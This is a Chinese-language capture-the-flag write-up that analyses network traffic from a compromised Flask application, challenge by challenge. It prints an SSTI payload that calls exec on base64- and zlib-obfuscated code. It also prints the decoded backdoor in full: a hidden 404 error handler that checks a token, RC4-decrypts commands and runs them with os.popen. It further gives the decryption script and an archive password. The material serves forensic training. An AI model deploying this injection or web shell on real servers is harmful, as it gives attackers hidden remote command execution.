SnakeBackdoor-1
攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}

统计分析,发现http占比较多,直接筛选http流
先初步分析,可以发现192.168.1.111是攻击者
找到最后一个login,右键追踪一下,就可以在1764流里看到后台密码

获得flag
flag{zxcvbnm123}
SnakeBackdoor-2
攻击者通过漏洞利用获取Flask应用的
SECRET_KEY是什么,结果提交形式:flag{xxxxxxxxxx}
模糊查询,直接找到这个关键字“SECRET_KEY”
http contains "SECRET_KEY"

追踪这个流1779

这段流量是 Flask 框架应用配置对象 的完整序列化输出,攻击者通过 SSTI(服务端模板注入) 漏洞成功读取了内存中的敏感变量
知识点:
Flask 是一个用 Python 编写的轻量级 Web 应用框架,以其简洁、灵活和易扩展的特性而广受欢迎。它属于"微框架"(Microframework)范畴,核心功能精简,但通过丰富的扩展库可以轻松构建功能完整的 Web 应用。在Flask框架中,应用配置是管理项目设置的核心。配置对象 app.config本质上是一个字典的子类,用于集中存储框架、扩展和项目自身的所有配置变量
内容:'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'
安全意义:这是 Flask 应用最核心的安全凭证
所以得到flag
flag{c6242af0-6891-4510-8432-e1cdf051f160}
SnakeBackdoor-3
攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}
知识点:
Payload(载荷)在网络安全领域特指攻击代码或恶意数据,是攻击者注入到目标系统中的有效攻击部分。
继续追踪1779后面的流,往后翻,发现了一个可疑的1789流

[…] Form item: "preview_content" = "{{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkp
Key: preview_content
Value […]: {{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM
为什么说可疑:
- 首先,内容以 {{ … }} 包裹,正常的“预览预览”功能应该只处理纯文本或简单的 HTML,而这里提交的是 Jinja2 模板执行代码
- ***其次,它有危险函数的调用,载荷中出现了 url_for.__globals__[‘__builtins__’][‘exec’] globals,我们都知道它是试图访问 Python 的全局命名空间 exec,这又是 Python 最危险的函数,能将字符串当作代码执行,基本上任何在流量中看到的 exec 基本上都是 RCE 的标志
- 接着,它里面还嵌套了 .b64decode、zlib.decompress 以及 [::-1]等一大堆乱七八糟的东西,正常的业务请求绝不会将代码进行压缩、反转再发送
- 最后,一个简单的“Hello World”预览请求通常只有几十个字节,但这个请求的 Content-Length 达到了 4602 字节,说明其中隐藏了复杂的逻辑脚本
内容分析:
- 首先是SSTI 注入层,使用 {{url_for.__globals__[‘__builtins__’][‘exec’](代码, 上下文)}},这是利用了 Flask 的模板注入漏洞来调用 Python 的内置 exec 函数
- 其次, 编码层(外壳)exec(.b64decode(‘XyA9IGxh…’))
开一层:

根据[::-1]添加Re继续

此时cyberchef自动识别出了zlib

一直zlib操作

得到如下代码,右边是我的分析
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y' #密钥
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256)) #S初始化为0-255的连续值
j = 0 #使用密钥对S进行随机化置换
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256 #密钥字节循环使用以填充整个S
S[i], S[j] = S[j], S[i] #交换S[i]和S[j],打乱S
i = j = 0 #生成密钥流并加解密
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779': #跟token对比
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
拿到flag
flag{v1p3r_5tr1k3_k3y}
SnakeBackdoor-4
攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
(个人理解)登陆后查询文件和文件夹的流在1779-1788,1789注入payload,1790开始的post请求即为植入文件可能存在的流,http头中上传文件的post一定会有X-Token-Auth: 3011aa21232beb7504432bfa90d32779,不妨:
http contains "X-Token-Auth"

根据第三问ai出脚本来解密流量包中的编码
import binascii
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
SECRET = b'v1p3r_5tr1k3_k3y'
enc_hex_cmd = "这里填流量包里的hex字符串"
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, SECRET).decode('utf-8', errors='ignore')
print(f"Decrypted Command: {cmd}")
将每个post中的代码拿进去跑一跑(每个图片下面有每个流的标注)





archive:归类文档;inflating:解压文件

mv:移动文件

chmod +x给文件添加权限

个人分析:
1780和1793利用linux命令获取网站后台信息;
1806在上传123.zip在shell,1813继续上传自己的文件夹;
1817开始植入程序,这个是python3.13;
1825和1826对这个文件进行操作
所以flag是
flag{python3.13}
SnakeBackdoor-5(逆向不会)
请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}
由上一题可知,在1813开始解压文件,所以可以提取流量包中传输的123.zip,1808到1812全是TCP握手,而1807流上传123.zip

复制原始数据到cyberchef,转出zip

之后发现需要密码,而这个黑客攻击进行的解压操作绝对会包括解密过程,所以在1813流量包中查找。
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
所以密码是nf2jd092jd01,得到一个文件shell,加后缀名exe,用IDA打开,进入main板块


谢谢g3rling大佬的鞭策+提醒+帮助(哭 {{daku}} )